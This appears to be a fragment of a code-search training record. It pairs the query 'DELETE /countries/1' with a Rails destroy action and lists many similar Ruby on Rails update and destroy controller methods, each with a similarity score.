format.html { redirect_to @movie_country, notice: 'Movie country was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie_country }\n else\n format.html { render :edit }\n format.json { render json: @movie_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person = Person.find(params[:id])\n @person.delete_offices\n @person.delete_addresses\n @person.delete_phone_numbers\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n@data_country = @response.data_countries.find(params[:id])\n# was @data_country = DataCountry.find(params[:id])\n\n respond_to do |format|\n if @data_country.update_attributes(params[:data_country])\n flash[:notice] = 'DataCountry was successfully updated.'\n format.html { redirect_to([@response, @data_country]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @data_country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def update\n if @db_country.update(db_country_params)\n render json: @db_country\n else\n render json: @db_country.errors, status: :unprocessable_entity\n end\n end", "def update\n @coff = Coff.find(params[:id])\n\n respond_to do |format|\n if @coff.update_attributes(params[:coff])\n format.html { redirect_to @coff, notice: 'Coff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @coff.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @continent = Continent.find(params[:id])\n\n respond_to do |format|\n if @continent.update_attributes(params[:continent])\n format.html { redirect_to @continent, notice: 'Continent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @continent.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @county = County.find(params[:id])\n\n respond_to do |format|\n if @county.update_attributes(params[:county])\n format.html { redirect_to @county, notice: 'County was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @county.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact_supported_country.update(contact_supported_country_params)\n format.html { redirect_to(admin_contact_supported_countries_url, notice: 'Contact supported_country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @contact_supported_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @client.update(client_params)\n render json: @client\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end", "def update\n @country = Country.find(params[:id])\n pais_antiguo = @country.pais\n respond_to do |format|\n if @country.update_attributes(params[:country])\n pais_nuevo = @country.pais\n CustomLogger.info(\"Los datos antes de actualizar son #{pais_antiguo.inspect} .Los datos actualizados por el usuario: #{current_user.full_name.inspect} son: #{pais_nuevo.inspect}, #{Time.now}\")\n format.html { redirect_to @country, notice: 'El pais ha sido actualizado. ' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_country_textfield_from_region\n @region = Region.find(params[:id])\n @country = Country.find(@region.country)\n\n respond_to do |format|\n format.html # update_country_textfield_from_region.html.erb does not exist! JSON only\n format.json { render json: @country }\n end\n end", "def update_country_textfield_from_region\n @region = Region.find(params[:id])\n @country = Country.find(@region.country)\n\n respond_to do |format|\n format.html # update_country_textfield_from_region.html.erb does not exist! JSON only\n format.json { render json: @country }\n end\n end", "def update\n if @account && !update_account_params[:country_id].empty?\n update_account_params[:country_id].each do |i|\n @account.country_id << i\n json_response({ status: true, messages: 'Countrys added' }) if @account.save\n end\n else\n json_response({ status: false, messages: 'The account was not found or the params are empty' })\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update_country_setting\n service_response = ClientManagement::UpdateCountrySetting.new(params).perform\n render_api_response(service_response)\n end", "def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end", "def update\n @persona = Persona.find(params[:id])\n \n respond_to do |format|\n if @persona.update_attributes(params[:persona])\n format.json { head :ok }\n else\n format.json { render :json => @persona.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def update\n @where_country_factor = WhereCountryFactor.find(params[:id])\n\n respond_to do |format|\n if @where_country_factor.update_attributes(params[:where_country_factor])\n format.html { redirect_to(@where_country_factor, :notice => 'WhereCountryFactor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @where_country_factor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n respond_to do |format|\n if @cocoon_example.update(cocoon_example_params)\n format.html { redirect_to @cocoon_example, notice: 'Cocoon example was successfully updated.' }\n format.json { render :show, status: :ok, location: @cocoon_example }\n else\n format.html { render :edit }\n format.json { render json: @cocoon_example.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to country_state_city_path, :notice => t('controller_message.updated') }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @city.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @situations_arrivals_country.update(situations_arrivals_country_params)\n format.html { redirect_to @situations_arrivals_country, notice: 'Situations arrivals country was successfully updated.' }\n format.json { render :show, status: :ok, location: @situations_arrivals_country }\n else\n format.html { render :edit }\n format.json { render json: @situations_arrivals_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "def update\n render json: Location.update(params[\"id\"], params[\"location\"])\n end", "def create\n \t\n \t@admin_country = Country.find(params[:country][:id])\n @admin_country = @admin_country.update(admin_country_params)\n\n \n redirect_to admin_countries_path, notice: 'successfully created.'\n #format.json { render :show, status: :created, location: @admin_country }\n end", "def update\n respond_to do |format|\n if @regional.update(regional_params.keep_if{|p,q| q.class != ActionController::Parameters})\n @regional.address.update(regional_params[:address_attributes]) \n @regional.contact.update(regional_params[:contact_attributes])\n format.html { redirect_to @regional, notice: 'Regional was successfully updated.' }\n format.json { render :show, status: :ok, location: @regional }\n else\n format.html { render :edit }\n format.json { render json: @regional.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contractor_feature = ContractorFeature.find(params[:id])\n\n respond_to do |format|\n if @contractor_feature.update_attributes(params[:contractor_feature])\n format.html { redirect_to @contractor_feature, notice: 'Contractor feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @locality = Locality.find(params[:id])\n @provinces = Province.all\n\n respond_to do |format|\n if @locality.update_attributes(params[:locality])\n format.html { redirect_to @locality, :notice => 'Locality was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @locality.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit\n @country = Country.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render :json=>{:response=>\"The record can't be found\"}\n end", "def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end", "def update\n @isoform = Isoform.find(params[:id])\n\n respond_to do |format|\n if @isoform.update_attributes(params[:isoform])\n format.html { redirect_to @isoform, notice: 'Isoform was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @isoform.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def edit_province\n user = current_user\n if user.admin?\n if !(params[:name].nil? || params[:country_name].nil?)\n province = Province.where(id: params[:id]).first\n if (!province.nil?)\n province.update_attributes(\n name: params[:name],\n country_id: BSON::ObjectId.from_string(params[:country_id][:id]),\n country_name: params[:country_name]\n )\n render json: {status: 'SUCCESS', message:'Province updated', data:province},status: :ok\n else\n render json: {status: 'ERROR', message:'Province not found', data:nil},status: :not_found\n end \n end \n elsif user.admin_country?\n if !(params[:name].nil? || params[:country_name].nil?)\n province = Province.where(id: params[:id]).first\n if (!province.nil?)\n if province[:country_id] == user['country_id']\n province.update_attributes(\n name: params[:name],\n country_id: BSON::ObjectId.from_string(params[:country_id][:id]),\n country_name: params[:country_name]\n )\n render json: {status: 'SUCCESS', message:'Province updated', data:province},status: :ok\n else\n render json: {status: 'ERROR', message:'Action not allowed', data:nil},status: :not_found\n end\n else\n render json: {status: 'ERROR', message:'Province not found', data:nil},status: :not_found\n end \n end\n end\n end", "def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end", "def update\n @state = @country.states.find(params[:id])\n\n respond_to do |format|\n if @state.update_attributes(params[:state])\n format.html { redirect_to([@country, @state], :notice => 'State was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @state.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @person.update_attributes(params[:person])\n respond_with(@person)\n end", "def update(options = {})\n @client.put(self.link(:edit), self.to_json, options)\n end", "def update\n respond_to do |format|\n if @zonal.update(zonal_params)\n format.html { redirect_to @zonal, notice: 'Zonal was successfully updated.' }\n format.json { render :show, status: :ok, location: @zonal }\n else\n format.html { render :edit }\n format.json { render json: @zonal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @feature_request.update(feature_request_params)\n format.html { redirect_to @feature_request, notice: 'Feature request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @feature_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person = Person.find(params[:id])\n if @person.update_attributes(person_params)\n render :json => @person\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def update\n put :update\n end", "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: t('.update_ok') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.67843103", "0.65163016", "0.65161604", "0.64781624", "0.64471155", "0.64471155", "0.6271849", "0.62705564", "0.62705564", "0.62290484", "0.6198192", "0.61881363", "0.61826915", "0.61327964", "0.61049324", "0.6103624", "0.6080693", "0.60623884", "0.60623884", "0.60549664", "0.6006079", "0.598568", "0.5976961", "0.59539366", "0.5912415", "0.5858309", "0.58558756", "0.5855068", "0.58517134", "0.58510983", "0.58510983", "0.58342946", "0.5832918", "0.57916933", "0.578069", "0.57770777", "0.5752208", "0.5740872", "0.57389283", "0.5731056", "0.5718087", "0.57009435", "0.5691091", "0.5690133", "0.56882495", "0.56673133", "0.56634295", "0.5662858", "0.5661453", "0.56587607", "0.5657819", "0.5656905", "0.56521314", "0.5651964", "0.56204796", "0.5611854", "0.5611854", "0.55976224", "0.5579301", "0.55615443", "0.5561537", "0.5559637", "0.55441725", "0.55348843", "0.55333704", "0.5523691", "0.552264", "0.5508572", "0.5505302", "0.55048954", "0.5504494", "0.5498834", "0.5493309", "0.5490462", "0.5488916", "0.54858", "0.5483435", "0.5476793", "0.547678", "0.54742146", "0.5468125", "0.54639006", "0.54639006", "0.5461471", "0.5455306", "0.5454074", "0.5453388", "0.5449114", "0.54485166", "0.5447491", "0.5447174", "0.5445933", "0.5445933", "0.54436135", "0.54413676", "0.54413676", "0.54404557", "0.54402065", "0.54402065", "0.54402065" ]
0.67023206
1
DELETE /countries/1 DELETE /countries/1.json
def destroy @country.destroy head :no_content end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @country.destroy\n respond_to do |format|\n format.html { redirect_to countries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @country.destroy\n respond_to do |format|\n format.html { redirect_to countries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @country = Country.find(params[:id])\n @country.destroy\n\n respond_to do |format|\n format.html { redirect_to countries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @countries = Countries.find(params[:id])\n @countries.destroy\n\n respond_to do |format|\n format.html { redirect_to(countries_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @company_country = CompanyCountry.find(params[:id])\n @company_country.destroy\n\n respond_to do |format|\n format.html { redirect_to company_countries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @country = Country.find(params[:id])\n @country.destroy\n\n respond_to do |format|\n format.html { redirect_to(countries_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @country.destroy\n respond_to do |format|\n format.html { redirect_to countries_url, notice: 'Country was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @geo_country = Geo::Country.find(params[:id])\n @geo_country.destroy\n\n respond_to do |format|\n format.html { redirect_to(geo_countries_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ag_country.destroy\n respond_to do |format|\n format.html { redirect_to ag_countries_url, notice: 'Country was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_country.destroy\n respond_to do |format|\n format.html { redirect_to admin_countries_url, notice: 'successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @country = Country.find(params[:id])\n @country.destroy\n get_data\n end", "def destroy\n @country.destroy\n respond_to do |format|\n format.html { redirect_to admin_countries_url, notice: t('shared.msgs.success_destroyed',\n obj: t('activerecord.models.country', count: 1))}\n end\n end", "def destroy\n @country.destroy\n @countries = Country.all\n end", "def destroy\n @region_country.destroy\n respond_to do |format|\n format.html { redirect_to region_countries_url, notice: 'Region country was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @country_area = CountryArea.find(params[:id])\n @country_area.destroy\n\n respond_to do |format|\n format.html { redirect_to country_areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @country.destroy\n end", "def destroy\n @country.destroy\n end", "def destroy\n @db_country.destroy\n respond_to do |format|\n format.html { redirect_to db_countries_url, notice: 'Db country was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @country_continent.destroy\n respond_to do |format|\n format.html { redirect_to country_continents_url, notice: 'Country continent was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @movie_country.destroy\n respond_to do |format|\n format.html { redirect_to movie_countries_url, notice: 'Movie country was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @release_country.destroy\n respond_to do |format|\n format.html { redirect_to release_countries_url, notice: 'Release country was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @continent = Continent.find(params[:id])\n @continent.destroy\n\n respond_to do |format|\n format.html { redirect_to continents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n Countries::DestroyCountry.new(@country).destroy\n flash[:success] = c_t('success.destroy')\n redirect_to countries_url\n end", "def destroy\n @country.destroy\n reset_session\n respond_to do |format|\n format.html { redirect_to countries_url, notice: 'Country was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @countryinfo.destroy\n respond_to do |format|\n format.html { redirect_to countryinfos_url, notice: \"Countryinfo was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @city = City.find(params[:id])\n @city.destroy\n\n respond_to do |format|\n format.html { redirect_to(countries_url) }\n format.xml { head :ok }\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n@data_country = @response.data_countries.find(params[:id])\n# was @data_country = DataCountry.find(params[:id])\n @data_country.destroy\n\n respond_to do |format|\n format.html { redirect_to(response_data_countries_path(@response)) }\n format.xml { head :ok }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @county = County.find(params[:id])\n @county.destroy\n\n respond_to do |format|\n format.html { redirect_to counties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if !params[:format].nil? && params[:format] == \"json\"\n @object=Spree::Country.find_by_id(params[:id])\n if !@object.nil?\n @object.destroy\n if @object.destroy\n error=error_response_method($e4)\n render:json=>error\n end\n else\n error=error_response_method($e2)\n render:json=>error\n end\n end\n end", "def destroy\n @state = @country.states.find(params[:id])\n @state.destroy\n\n respond_to do |format|\n format.html { redirect_to(country_states_url(@country)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @city = City.find(params[:id])\n @city.destroy\n\n respond_to do |format|\n format.html { redirect_to country_state_cities_url, :notice => t('controller_message.deleted') }\n format.json { head :no_content }\n end\n end", "def destroy\n @locations_country = Locations::Country.find(params[:id])\n @locations_country.destroy\n respond_to do |format|\n format.js { \n index\n render 'index'\n }\n end\n end", "def destroy\n @place.destroy\n respond_to do |format|\n format.html { redirect_to new_place_url, notice: 'Country was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @where_country_factor = WhereCountryFactor.find(params[:id])\n @where_country_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to(where_country_factors_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @country = Country.find(params[:id])\n @user=@country.users\n if @country.present? && @user.present?\n render :json=>{:response=>\"Not deleted\"}\n else\n @country.destroy\n render :json=>{:response=>\"success\"}\n end\n end", "def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @english_country_residence.destroy\n respond_to do |format|\n format.html { redirect_to english_country_residences_url, notice: 'English country residence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @situations_arrivals_country.destroy\n respond_to do |format|\n format.html { redirect_to situations_arrivals_countries_url, notice: 'Situations arrivals country was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @county = County.find(params[:id])\n @county.destroy\n\n respond_to do |format|\n format.html { redirect_to(counties_url) }\n format.xml { head :ok }\n end\n end", "def delete(path)\n request 'DELETE', path\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete\n render json: Post.delete(params[\"id\"])\n end", "def destroy\n \t@country = Country.find(params[:id])\n if @country.destroy\n \tflash[:success] = \"Record destroyed\"\n \tredirect_to countries_path\n else\n \tflash[:error] = \"Record not destroyed\"\n end\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @countrycode = Countrycode.find(params[:id])\n @countrycode.destroy\n\n respond_to do |format|\n format.html { redirect_to(countrycodes_url) }\n format.xml { head :ok }\n end\n end", "def delete(path)\n request(:delete, path)\n end", "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "def delete(path)\n\t\trequest(path, :delete)\n\tend", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def delete\n render json: Location.delete(params[\"id\"])\n end", "def delete!\n request! :delete\n end", "def destroy\n @polygon = Polygon.find(params[:id])\n @polygon.destroy\n\n respond_to do |format|\n format.html { redirect_to polygons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @municipio = Municipio.find(params[:id])\n @municipio.destroy\n\n respond_to do |format|\n format.html { redirect_to municipios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @municipio = Municipio.find(params[:id])\n @municipio.destroy\n\n respond_to do |format|\n format.html { redirect_to municipios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @countrys_movie.destroy\n respond_to do |format|\n format.html { redirect_to countrys_movies_url, notice: 'Countrys movie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @city.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_index_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @zona = Zona.find(params[:id])\n @zona.destroy\n\n respond_to do |format|\n format.html { redirect_to zone_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @city.destroy\n respond_to do |format|\n format.html { redirect_to cities_url }\n format.json { head :no_content }\n end\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def destroy\n @subway.destroy\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_sex = ClientSex.find(params[:id])\n @client_sex.destroy\n\n respond_to do |format|\n format.html { redirect_to client_sexes_url }\n format.json { head :ok }\n end\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def delete\n render json: Users.delete(params[\"id\"])\n end", "def delete\n render json: User.delete(params[\"id\"])\n end", "def destroy\n @admin_geonode = Admin::Geonode.find(params[:id])\n @admin_geonode.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_geonodes_url }\n format.json { head :no_content }\n end\n end", "def delete_unused_country (id)\n if Place.where(country_id: id).length == 1\n to_be_deleted = Country.find id\n to_be_deleted.destroy\n end\nend", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def destroy\n @ge_city_api.destroy\n respond_to do |format|\n format.html { redirect_to ge_city_apis_url, notice: 'Ge city api was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @one = One.find(params[:id])\n @one.destroy\n\n respond_to do |format|\n format.html { redirect_to ones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @graphium_city.destroy\n respond_to do |format|\n format.html { redirect_to graphium_cities_url, notice: 'City was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\n end", "def destroy\n @localisation = Localisation.find(params[:id])\n @localisation.destroy\n\n respond_to do |format|\n format.html { redirect_to localisations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @create_join_table_movie_country.destroy\n respond_to do |format|\n format.html { redirect_to create_join_table_movie_countries_url, notice: 'Create join table movie country was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end" ]
